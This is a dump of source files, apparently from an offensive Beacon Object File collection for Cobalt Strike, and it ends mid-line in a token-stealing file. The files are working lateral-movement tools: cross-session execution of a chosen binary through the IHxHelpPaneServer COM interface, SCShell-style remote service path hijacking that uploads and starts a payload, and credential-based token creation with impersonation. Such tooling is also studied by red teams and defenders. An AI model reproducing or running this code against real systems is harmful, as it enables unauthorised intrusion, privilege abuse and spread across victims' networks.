(BUFFER_SIZE_PIPE - totalBytesRead - 1)) ? (BUFFER_SIZE_PIPE - totalBytesRead - 1) : bytesAvail;\n                if (toRead == 0)\n                    break;\n                if (KERNEL32$ReadFile(hOutputRead, outputBuffer + totalBytesRead, toRead, &bytesRead, NULL))\n                    totalBytesRead += bytesRead;\n                else\n                    break;\n            }\n\n            if (totalBytesRead > 0) {\n                outputBuffer[totalBytesRead] = '\\0';\n                BeaconPrintf(CALLBACK_OUTPUT_OEM, \"\\n--- Process Output ---\\n%s\\n--- End Output ---\\n\", outputBuffer);\n            }\n            else {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[*] No output captured from the process.\\n\");\n            }\n\n            _memset(outputBuffer, 0, BUFFER_SIZE_PIPE);\n            KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, outputBuffer);\n        }\n\n        KERNEL32$CloseHandle(hOutputRead);\n    }\n\n    KERNEL32$CloseHandle(pi.hProcess);\n    KERNEL32$CloseHandle(pi.hThread);\n    \n    _memset(cmdLineCopy, 0, (cmdLen + 2) * sizeof(WCHAR));\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, cmdLineCopy);\n}"
  },
  {
    "path": "LateralMovement-BOF/runas_sess_IHxExec/bofdefs.h",
    "content": "/*\n * BOF Definitions and Dynamic Function Resolution\n * IHxExec-BOF - Cross-Session Execution via COM\n */\n\n#ifndef _BOFDEFS_H_\n#define _BOFDEFS_H_\n\n#include <windows.h>\n#include \"beacon.h\"\n\n/* ============================================================================\n * Dynamic Function Resolution for BOF\n * ============================================================================ */\n\n#ifdef BOF\n\n/* OLE32.dll - COM Functions */\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD);\nDECLSPEC_IMPORT void    WINAPI OLE32$CoUninitialize(void);\nDECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID*);\n\n/* KERNEL32.dll */\nDECLSPEC_IMPORT int     WINAPI KERNEL32$MultiByteToWideChar(UINT, DWORD, LPCCH, int, LPWSTR, int);\nDECLSPEC_IMPORT void*   WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T);\nDECLSPEC_IMPORT BOOL    WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID);\nDECLSPEC_IMPORT HANDLE  WINAPI KERNEL32$GetProcessHeap(void);\nDECLSPEC_IMPORT DWORD   WINAPI KERNEL32$GetLastError(void);\n\n/* MSVCRT.dll */\nDECLSPEC_IMPORT size_t  __cdecl MSVCRT$wcslen(const wchar_t*);\nDECLSPEC_IMPORT wchar_t* __cdecl MSVCRT$wcscpy(wchar_t*, const wchar_t*);\nDECLSPEC_IMPORT wchar_t* __cdecl MSVCRT$wcscat(wchar_t*, const wchar_t*);\nDECLSPEC_IMPORT int     __cdecl MSVCRT$wcsncmp(const wchar_t*, const wchar_t*, size_t);\nDECLSPEC_IMPORT void*   __cdecl MSVCRT$memset(void*, int, size_t);\n\n/* Macros for cleaner code */\n#define CoInitializeEx      OLE32$CoInitializeEx\n#define CoUninitialize      OLE32$CoUninitialize\n#define CoCreateInstance    OLE32$CoCreateInstance\n#define MultiByteToWideChar KERNEL32$MultiByteToWideChar\n#define HeapAlloc           KERNEL32$HeapAlloc\n#define HeapFree            KERNEL32$HeapFree\n#define GetProcessHeap      KERNEL32$GetProcessHeap\n#define GetLastError        KERNEL32$GetLastError\n#define wcslen              MSVCRT$wcslen\n#define wcscpy              MSVCRT$wcscpy\n#define wcscat              MSVCRT$wcscat\n#define wcsncmp             MSVCRT$wcsncmp\n#define memset              MSVCRT$memset\n\n#else /* Non-BOF compilation */\n\n#pragma comment(lib, \"ole32.lib\")\n\n#endif /* BOF */\n\n/* ============================================================================\n * COM GUIDs for IHxExec\n * ============================================================================ */\n\n// CLSID_IHxHelpPaneServer: {8cec58ae-07a1-11d9-b15e-000d56bfe6ee}\nstatic const GUID CLSID_IHxHelpPaneServer = {\n    0x8cec58ae, 0x07a1, 0x11d9, { 0xb1, 0x5e, 0x00, 0x0d, 0x56, 0xbf, 0xe6, 0xee }\n};\n\n// IID_IHxHelpPaneServer: {8cec592c-07a1-11d9-b15e-000d56bfe6ee}\nstatic const GUID IID_IHxHelpPaneServer = {\n    0x8cec592c, 0x07a1, 0x11d9, { 0xb1, 0x5e, 0x00, 0x0d, 0x56, 0xbf, 0xe6, 0xee }\n};\n\n// CLSID_ComActivator (Standard COM Activator): {0000033C-0000-0000-C000-000000000046}\nstatic const GUID CLSID_ComActivator = {\n    0x0000033C, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }\n};\n\n// IID_IStandardActivator: {000001b8-0000-0000-C000-000000000046}\nstatic const GUID IID_IStandardActivator = {\n    0x000001b8, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }\n};\n\n// IID_ISpecialSystemProperties: {000001b9-0000-0000-C000-000000000046}\nstatic const GUID IID_ISpecialSystemProperties = {\n    0x000001b9, 0x0000, 0x0000, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 }\n};\n\n/* ============================================================================\n * COM Interface: IHxHelpPaneServer\n * ============================================================================ */\n\ntypedef struct IHxHelpPaneServerVtbl {\n    // IUnknown\n    HRESULT (STDMETHODCALLTYPE *QueryInterface)(void* This, REFIID riid, void** ppvObject);\n    ULONG   (STDMETHODCALLTYPE *AddRef)(void* This);\n    ULONG   (STDMETHODCALLTYPE *Release)(void* This);\n    // IHxHelpPaneServer\n    HRESULT (STDMETHODCALLTYPE *DisplayTask)(void* This, LPWSTR pwszTask);\n    HRESULT (STDMETHODCALLTYPE *DisplayContents)(void* This, LPWSTR pwszContents);\n    HRESULT (STDMETHODCALLTYPE *DisplaySearchResults)(void* This, LPWSTR pwszSearch);\n    HRESULT (STDMETHODCALLTYPE *Execute)(void* This, LPCWSTR pwszUrl);\n} IHxHelpPaneServerVtbl;\n\ntypedef struct IHxHelpPaneServer {\n    IHxHelpPaneServerVtbl* lpVtbl;\n} IHxHelpPaneServer;\n\n/* ============================================================================\n * COM Interface: IStandardActivator\n * ============================================================================ */\n\ntypedef struct IStandardActivatorVtbl {\n    // IUnknown\n    HRESULT (STDMETHODCALLTYPE *QueryInterface)(void* This, REFIID riid, void** ppvObject);\n    ULONG   (STDMETHODCALLTYPE *AddRef)(void* This);\n    ULONG   (STDMETHODCALLTYPE *Release)(void* This);\n    // IStandardActivator\n    HRESULT (STDMETHODCALLTYPE *StandardGetClassObject)(\n        void* This, REFCLSID rclsid, DWORD dwClsCtx, COSERVERINFO* pServerInfo,\n        REFIID riid, void** ppvClassObj);\n    HRESULT (STDMETHODCALLTYPE *StandardCreateInstance)(\n        void* This, REFCLSID rclsid, IUnknown* punkOuter, DWORD dwClsCtx,\n        COSERVERINFO* pServerInfo, DWORD dwCount, MULTI_QI* pResults);\n    HRESULT (STDMETHODCALLTYPE *StandardGetInstanceFromFile)(\n        void* This, COSERVERINFO* pServerInfo, CLSID* pclsidOverride,\n        IUnknown* punkOuter, DWORD dwClsCtx, DWORD grfMode, OLECHAR* pwszName,\n        DWORD dwCount, MULTI_QI* pResults);\n    HRESULT (STDMETHODCALLTYPE *StandardGetInstanceFromIStorage)(\n        void* This, COSERVERINFO* pServerInfo, CLSID* pclsidOverride,\n        IUnknown* punkOuter, DWORD dwClsCtx, IStorage* pstg,\n        DWORD dwCount, MULTI_QI* pResults);\n    HRESULT (STDMETHODCALLTYPE *Reset)(void* This);\n} IStandardActivatorVtbl;\n\ntypedef struct IStandardActivator {\n    IStandardActivatorVtbl* lpVtbl;\n} IStandardActivator;\n\n/* ============================================================================\n * COM Interface: ISpecialSystemProperties\n * ============================================================================ */\n\ntypedef struct ISpecialSystemPropertiesVtbl {\n    // IUnknown\n    HRESULT (STDMETHODCALLTYPE *QueryInterface)(void* This, REFIID riid, void** ppvObject);\n    ULONG   (STDMETHODCALLTYPE *AddRef)(void* This);\n    ULONG   (STDMETHODCALLTYPE *Release)(void* This);\n    // ISpecialSystemProperties\n    HRESULT (STDMETHODCALLTYPE *SetSessionId)(void* This, ULONG dwSessionId, BOOL bUseConsole, BOOL fRemoteThisSessionId);\n    HRESULT (STDMETHODCALLTYPE *GetSessionId)(void* This, ULONG* pdwSessionId, BOOL* pbUseConsole);\n    HRESULT (STDMETHODCALLTYPE *GetSessionId2)(void* This, ULONG* pdwSessionId, BOOL* pbUseConsole, BOOL* pfRemoteThisSessionId);\n    HRESULT (STDMETHODCALLTYPE *SetClientImpersonating)(void* This, BOOL fClientImpersonating);\n    HRESULT (STDMETHODCALLTYPE *GetClientImpersonating)(void* This, BOOL* pfClientImpersonating);\n    HRESULT (STDMETHODCALLTYPE *SetPartitionId)(void* This, REFGUID guidPartitionId);\n    HRESULT (STDMETHODCALLTYPE *GetPartitionId)(void* This, GUID* pguidPartitionId);\n    HRESULT (STDMETHODCALLTYPE *SetProcessRequestType)(void* This, DWORD dwProcessRequestType);\n    HRESULT (STDMETHODCALLTYPE *GetProcessRequestType)(void* This, DWORD* pdwProcessRequestType);\n    HRESULT (STDMETHODCALLTYPE *SetOrigClsctx)(void* This, DWORD dwOrigClsctx);\n    HRESULT (STDMETHODCALLTYPE *GetOrigClsctx)(void* This, DWORD* pdwOrigClsctx);\n    HRESULT (STDMETHODCALLTYPE *SetDefaultAuthenticationLevel)(void* This, DWORD dwDefaultAuthenticationLevel);\n    HRESULT (STDMETHODCALLTYPE *GetDefaultAuthenticationLevel)(void* This, DWORD* pdwDefaultAuthenticationLevel);\n} ISpecialSystemPropertiesVtbl;\n\ntypedef struct ISpecialSystemProperties {\n    ISpecialSystemPropertiesVtbl* lpVtbl;\n} ISpecialSystemProperties;\n\n#endif /* _BOFDEFS_H_ */\n"
  },
  {
    "path": "LateralMovement-BOF/runas_sess_IHxExec/ihxexec.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n\nLPWSTR EnsureFileProtocol(LPWSTR path) {\n    const WCHAR* prefix = L\"file:///\";\n    size_t prefixLen = wcslen(prefix);\n    size_t pathLen = wcslen(path);\n\n    // Check if already has file:/// prefix\n    if (pathLen >= prefixLen && wcsncmp(path, prefix, prefixLen) == 0) {\n        LPWSTR result = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (pathLen + 1) * sizeof(WCHAR));\n        if (result) wcscpy(result, path);\n        return result;\n    }\n\n    // Add prefix\n    size_t newLen = prefixLen + pathLen + 1;\n    LPWSTR result = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newLen * sizeof(WCHAR));\n    if (result == NULL) return NULL;\n\n    wcscpy(result, prefix);\n    wcscat(result, path);\n\n    return result;\n}\n\nvoid go(char* args, int len) {\n    datap   parser;\n    DWORD   sessionId = 0;\n    LPWSTR  wExecutablePath = NULL;\n    LPWSTR  wFullUrl = NULL;\n    HRESULT hr = S_OK;\n    BOOL    comInitialized = FALSE;\n\n    IStandardActivator*       pStdActivator = NULL;\n    ISpecialSystemProperties* pSpecialProps = NULL;\n    IHxHelpPaneServer*        pHxServer = NULL;\n\n    BeaconDataParse(&parser, args, len);\n    sessionId = BeaconDataInt(&parser);\n    wExecutablePath = BeaconDataExtract(&parser, NULL);\n\n    wFullUrl = EnsureFileProtocol(wExecutablePath);\n    if (wFullUrl == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to create URL\");\n        goto cleanup;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Cross-Session Execution\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Target Session: %d\", sessionId);\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Executable: %S\", wFullUrl);\n\n    /* Initialize COM */\n    hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);\n    if (FAILED(hr)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] CoInitializeEx failed: 0x%08X\", hr);\n        goto cleanup;\n    }\n    comInitialized = TRUE;\n\n    /* Create IStandardActivator */\n    hr = CoCreateInstance(\n        &CLSID_ComActivator,\n        NULL,\n        CLSCTX_INPROC_SERVER,\n        &IID_IStandardActivator,\n        (void**)&pStdActivator\n    );\n    if (FAILED(hr)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get IStandardActivator: 0x%08X\", hr);\n        goto cleanup;\n    }\n\n    /* Get ISpecialSystemProperties */\n    hr = pStdActivator->lpVtbl->QueryInterface(\n        pStdActivator,\n        &IID_ISpecialSystemProperties,\n        (void**)&pSpecialProps\n    );\n    if (FAILED(hr)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to get ISpecialSystemProperties: 0x%08X\", hr);\n        goto cleanup;\n    }\n\n    /* Set target session ID */\n    hr = pSpecialProps->lpVtbl->SetSessionId(pSpecialProps, sessionId, FALSE, TRUE);\n    if (FAILED(hr)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to set session ID: 0x%08X\", hr);\n        goto cleanup;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Session ID set to %d\", sessionId);\n\n    /* Create IHxHelpPaneServer in target session */\n    MULTI_QI mqi[1];\n    memset(mqi, 0, sizeof(mqi));\n    mqi[0].pIID = &IID_IHxHelpPaneServer;\n    mqi[0].pItf = NULL;\n    mqi[0].hr = S_OK;\n\n    hr = pStdActivator->lpVtbl->StandardCreateInstance(\n        pStdActivator,\n        &CLSID_IHxHelpPaneServer,\n        NULL,\n        CLSCTX_ALL,\n        NULL,\n        1,\n        mqi\n    );\n    if (FAILED(hr)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] StandardCreateInstance failed: 0x%08X\", hr);\n        goto cleanup;\n    }\n    if (FAILED(mqi[0].hr)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] MULTI_QI failed: 0x%08X\", mqi[0].hr);\n        goto cleanup;\n    }\n\n    pHxServer = (IHxHelpPaneServer*)mqi[0].pItf;\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] IHxHelpPaneServer spawned in session %d\", sessionId);\n\n    /* Execute the binary */\n    hr = pHxServer->lpVtbl->Execute(pHxServer, wFullUrl);\n    if (FAILED(hr)) {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Execute failed: 0x%08X\", hr);\n        goto cleanup;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] SUCCESS! Binary executed in session %d\", sessionId);\n\ncleanup:\n    if (pHxServer)     pHxServer->lpVtbl->Release(pHxServer);\n    if (pSpecialProps) pSpecialProps->lpVtbl->Release(pSpecialProps);\n    if (pStdActivator) pStdActivator->lpVtbl->Release(pStdActivator);\n    if (comInitialized) CoUninitialize();\n    if (wFullUrl)       HeapFree(GetProcessHeap(), 0, wFullUrl);\n}\n\n"
  },
  {
    "path": "LateralMovement-BOF/scshell/scshell.c",
    "content": "// Author: Mr.Un1k0d3r RingZer0 Team\n\n#include <windows.h>\n#include <stdio.h>\n#include \"beacon.h\"\n\nWINBASEAPI int __cdecl MSVCRT$_snprintf(char * __restrict__ d, size_t n, const char * __restrict__ format, ...);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE);\nDECLSPEC_IMPORT SC_HANDLE WINAPI ADVAPI32$OpenSCManagerA(LPCSTR, LPCSTR, DWORD);\nDECLSPEC_IMPORT SC_HANDLE WINAPI ADVAPI32$OpenServiceA(SC_HANDLE, LPCSTR, DWORD);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$QueryServiceConfigA(SC_HANDLE, LPQUERY_SERVICE_CONFIGA, DWORD, LPDWORD);\nDECLSPEC_IMPORT HGLOBAL WINAPI KERNEL32$GlobalAlloc(UINT, SIZE_T);\nDECLSPEC_IMPORT HGLOBAL WINAPI KERNEL32$GlobalFree(HGLOBAL);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ChangeServiceConfigA(SC_HANDLE, DWORD, DWORD, DWORD, LPCSTR, LPCSTR, LPDWORD, LPCSTR, LPCSTR, LPCSTR, LPCSTR);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE,DWORD, LPCSTR*);\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE);\nDECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError();\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess();\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);\nDECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);\nDECLSPEC_IMPORT BOOL WINAPI KERNEL32$DeleteFileA(LPCSTR);\n\nvoid go(char * args, int length) {\n    // Parse Beacon Arguments\n    datap parser;\n    CHAR * targetHost;\n    CHAR * serviceName;\n    CHAR * payload;\n    ULONG binarySize = 0;\n    CHAR * binaryData = NULL;\n\n    BeaconDataParse(&parser, args, length);\n    targetHost = BeaconDataExtract(&parser, NULL);\n    serviceName = BeaconDataExtract(&parser, NULL);\n    payload = BeaconDataExtract(&parser, NULL);\n\n    // Check if there's binary data (for jump mode)\n    if (BeaconDataLength(&parser) > 0) {\n        binaryData = BeaconDataExtract(&parser, &binarySize);\n    }\n\n    LPQUERY_SERVICE_CONFIGA lpqsc = NULL;\n    DWORD dwLpqscSize = 0;\n    CHAR* originalBinaryPath = NULL;\n    BOOL bResult = FALSE;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"Trying to connect to %s\\n\", targetHost);\n\n#ifdef _IMP\n    HANDLE hToken = NULL;\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"Using current process context for authentication (impersonation)\\n\");\n    if(!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {\n        BeaconPrintf(CALLBACK_ERROR, \"OpenProcessToken failed: %ld\\n\", KERNEL32$GetLastError());\n        return;\n    }\n\n    bResult = FALSE;\n    bResult = ADVAPI32$ImpersonateLoggedOnUser(hToken);\n    if(!bResult) {\n        BeaconPrintf(CALLBACK_ERROR, \"ImpersonateLoggedOnUser failed: %ld\\n\", KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hToken);\n        return;\n    }\n#endif\n\n    // If binary data is provided, upload it first\n    if (binaryData && binarySize > 0) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Uploading binary (%lu bytes) to: %s\\n\", binarySize, payload);\n\n        HANDLE hFile = KERNEL32$CreateFileA(payload, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\n        if (hFile == INVALID_HANDLE_VALUE) {\n            BeaconPrintf(CALLBACK_ERROR, \"CreateFileA failed: %lu\\n\", KERNEL32$GetLastError());\n#ifdef _IMP\n            KERNEL32$CloseHandle(hToken);\n#endif\n            return;\n        }\n\n        DWORD bytesWritten;\n        if (!KERNEL32$WriteFile(hFile, binaryData, binarySize, &bytesWritten, NULL)) {\n            BeaconPrintf(CALLBACK_ERROR, \"WriteFile failed: %lu\\n\", KERNEL32$GetLastError());\n            KERNEL32$CloseHandle(hFile);\n#ifdef _IMP\n            KERNEL32$CloseHandle(hToken);\n#endif\n            return;\n        }\n        KERNEL32$CloseHandle(hFile);\n        BeaconPrintf(CALLBACK_OUTPUT, \"Binary uploaded successfully (%lu bytes written)\\n\", bytesWritten);\n    }\n\n    SC_HANDLE schManager = ADVAPI32$OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);\n    if(schManager == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"OpenSCManagerA failed: %ld\\n\", KERNEL32$GetLastError());\n        if (binaryData && binarySize > 0) {\n            KERNEL32$DeleteFileA(payload);\n        }\n#ifdef _IMP\n        KERNEL32$CloseHandle(hToken);\n#endif\n        return;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"SC_HANDLE Manager: 0x%p\\n\", schManager);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"Opening service: %s\\n\", serviceName);\n    SC_HANDLE schService = ADVAPI32$OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS);\n    if(schService == NULL) {\n        BeaconPrintf(CALLBACK_ERROR, \"OpenServiceA failed: %ld\\n\", KERNEL32$GetLastError());\n        ADVAPI32$CloseServiceHandle(schManager);\n        if (binaryData && binarySize > 0) {\n            KERNEL32$DeleteFileA(payload);\n        }\n#ifdef _IMP\n        KERNEL32$CloseHandle(hToken);\n#endif\n        return;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"SC_HANDLE Service: 0x%p\\n\", schService);\n\n    DWORD dwSize = 0;\n    ADVAPI32$QueryServiceConfigA(schService, NULL, 0, &dwSize);\n    if(dwSize) {\n        dwLpqscSize = dwSize;\n        BeaconPrintf(CALLBACK_OUTPUT, \"LPQUERY_SERVICE_CONFIGA needs 0x%08x bytes\\n\", dwLpqscSize);\n        lpqsc = KERNEL32$GlobalAlloc(GPTR, dwSize);\n        bResult = FALSE;\n        bResult = ADVAPI32$QueryServiceConfigA(schService, lpqsc, dwLpqscSize, &dwSize);\n        if(bResult) {\n            originalBinaryPath = lpqsc->lpBinaryPathName;\n            BeaconPrintf(CALLBACK_OUTPUT, \"Original service binary path: \\\"%s\\\"\\n\", originalBinaryPath);\n        }\n    }\n\n    bResult = FALSE;\n    bResult = ADVAPI32$ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL);\n    if(!bResult) {\n        BeaconPrintf(CALLBACK_ERROR, \"ChangeServiceConfigA failed to update the service path: %ld\\n\", KERNEL32$GetLastError());\n        KERNEL32$GlobalFree(lpqsc);\n        ADVAPI32$CloseServiceHandle(schService);\n        ADVAPI32$CloseServiceHandle(schManager);\n        if (binaryData && binarySize > 0) {\n            KERNEL32$DeleteFileA(payload);\n        }\n#ifdef _IMP\n        KERNEL32$CloseHandle(hToken);\n#endif\n        return;\n    }\n    BeaconPrintf(CALLBACK_OUTPUT, \"Service path was changed to: \\\"%s\\\"\\n\", payload);\n\n    bResult = FALSE;\n    bResult = ADVAPI32$StartServiceA(schService, 0, NULL);\n    DWORD dwResult = KERNEL32$GetLastError();\n    if(!bResult && dwResult != 1053) {\n        BeaconPrintf(CALLBACK_ERROR, \"StartServiceA failed to start the service: %ld\\n\", dwResult);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Service was started\\n\");\n    }\n\n    if(dwLpqscSize && originalBinaryPath) {\n        bResult = FALSE;\n        bResult = ADVAPI32$ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, NULL, NULL, NULL, NULL, NULL, NULL);\n        if(!bResult) {\n            BeaconPrintf(CALLBACK_ERROR, \"ChangeServiceConfigA failed to revert the service path: %ld\\n\", KERNEL32$GetLastError());\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT, \"Service path was restored to: \\\"%s\\\"\\n\", originalBinaryPath);\n        }\n    }\n\n    KERNEL32$GlobalFree(lpqsc);\n    ADVAPI32$CloseServiceHandle(schService);\n    ADVAPI32$CloseServiceHandle(schManager);\n#ifdef _IMP\n    KERNEL32$CloseHandle(hToken);\n#endif\n}\n"
  },
  {
    "path": "LateralMovement-BOF/token_make/token_make.c",
    "content": "#include <windows.h>\n#include \"beacon.h\"\n\nWINBASEAPI WINBOOL WINAPI ADVAPI32$LogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken );\nWINBASEAPI DWORD   WINAPI KERNEL32$GetLastError(VOID);\nWINADVAPI  WINBOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\nWINBASEAPI HANDLE  WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI LPVOID  WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI BOOL    WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);\nWINBASEAPI int     WINAPI KERNEL32$WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar);\n\nvoid _memset(void* ptr, int value, size_t num) {\n    if (!ptr) return;\n    unsigned char* p = (unsigned char*)ptr;\n    while (num--) *p++ = (unsigned char)value;\n}\n\nBOOL TokenIsElevated(HANDLE hToken)\n{\n    BOOL result = FALSE;\n    if (hToken) {\n        TOKEN_ELEVATION Elevation = { 0 };\n        DWORD eleavationSize = sizeof(TOKEN_ELEVATION);\n        ADVAPI32$GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &eleavationSize);\n        result = Elevation.TokenIsElevated;\n    }\n    return result;\n}\n\nVOID go( IN PCHAR Buffer, IN ULONG Length )\n{\n    datap parser;\n    BeaconDataParse(&parser, Buffer, Length);\n    ULONG  userLen    = 0;\n    WCHAR* username   = BeaconDataExtract(&parser, &userLen);\n    WCHAR* password   = BeaconDataExtract(&parser, NULL);\n    WCHAR* domain     = BeaconDataExtract(&parser, NULL);\n    ULONG  token_type = BeaconDataInt(&parser);\n    ULONG  logon_provider = 0;\n\n    if( !username || !password || !domain )\n        return;\n\n    if ( 1 < token_type && token_type < 6 || token_type == 8 ) {\n        logon_provider = LOGON32_PROVIDER_WINNT50;\n    }\n    else {\n        token_type     = LOGON32_LOGON_NEW_CREDENTIALS;\n        logon_provider = LOGON32_PROVIDER_WINNT50;\n    }\n\n    HANDLE hToken = NULL;\n    if ( ADVAPI32$LogonUserW( username, domain, password, token_type, logon_provider, &hToken ) ) {\n        if( BeaconUseToken(hToken) ) {\n            char* user = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, userLen / 2);\n            KERNEL32$WideCharToMultiByte(CP_ACP, 0, username, userLen, user, userLen / 2, NULL, 0);\n\n\t\t\tif(TokenIsElevated(hToken))\n\t\t        BeaconPrintf(CALLBACK_OUTPUT, \"The user impersonated successfully: %ls\\\\%s (logon: %d) [elevated]\\n\", domain, user, token_type);\n\t\t\telse\n\t\t        BeaconPrintf(CALLBACK_OUTPUT, \"The user impersonated successfully: %ls\\\\%s (logon: %d)\\n\", domain, user, token_type);\n\n            _memset(user, 0, userLen / 2);\n            KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, user);\n        }\n        else {\n            BeaconPrintf(CALLBACK_ERROR, \"Failed to impersonate user. Error: %d\\n\", KERNEL32$GetLastError());\n        }\n    }\n    else BeaconPrintf(CALLBACK_ERROR, \"Failed to create token. Error: %d\\n\", KERNEL32$GetLastError());\n}\n"
  },
  {
    "path": "LateralMovement-BOF/token_steal/token_steal.c",
    "content": "#include <windows.h>\n#include <ntsecapi.h>\n#include \"beacon.h\"\n\ntypedef struct _OBJECT_ATTRIBUTES {\n\tULONG Length;\n\tHANDLE RootDirectory;\n\tPUNICODE_STRING ObjectName;\n\tULONG Attributes;\n\tPVOID SecurityDescriptor;\n\tPVOID SecurityQualityOfService;\n} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;\n\n#define InitializeObjectAttributes( i, o, a, r, s ) {    \\\n      (i)->Length = sizeof( OBJECT_ATTRIBUTES );         \\\n      (i)->RootDirectory = r;                            \\\n      (i)->Attributes = a;                               \\\n      (i)->ObjectName = o;                               \\\n      (i)->SecurityDescriptor = s;                       \\\n      (i)->SecurityQualityOfService = NULL;              \\\n   }\n\ntypedef struct _CLIENT_ID\n{\n    HANDLE UniqueProcess;\n    HANDLE UniqueThread;\n} CLIENT_ID, *PCLIENT_ID;\n\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtOpenProcess( PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId );\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtOpenProcessToken( HANDLE ProcessHandle, ACCESS_MASK DesiredAccess, PHANDLE TokenHandle );\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtDuplicateToken( HANDLE ExistingTokenHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, BOOLEAN EffectiveOnly, TOKEN_TYPE TokenType, PHANDLE NewTokenHandle );\nWINBASEAPI ULONG    NTAPI NTDLL$RtlNtStatusToDosError( NTSTATUS Status );\nWINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle);\nWINBASEAPI DWORD   WINAPI KERNEL32$GetLastError(VOID);\nWINBASEAPI HANDLE  WINAPI KERNEL32$GetProcessHeap();\nWINBASEAPI LPVOID  WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\nWINBASEAPI BOOL    WINAPI 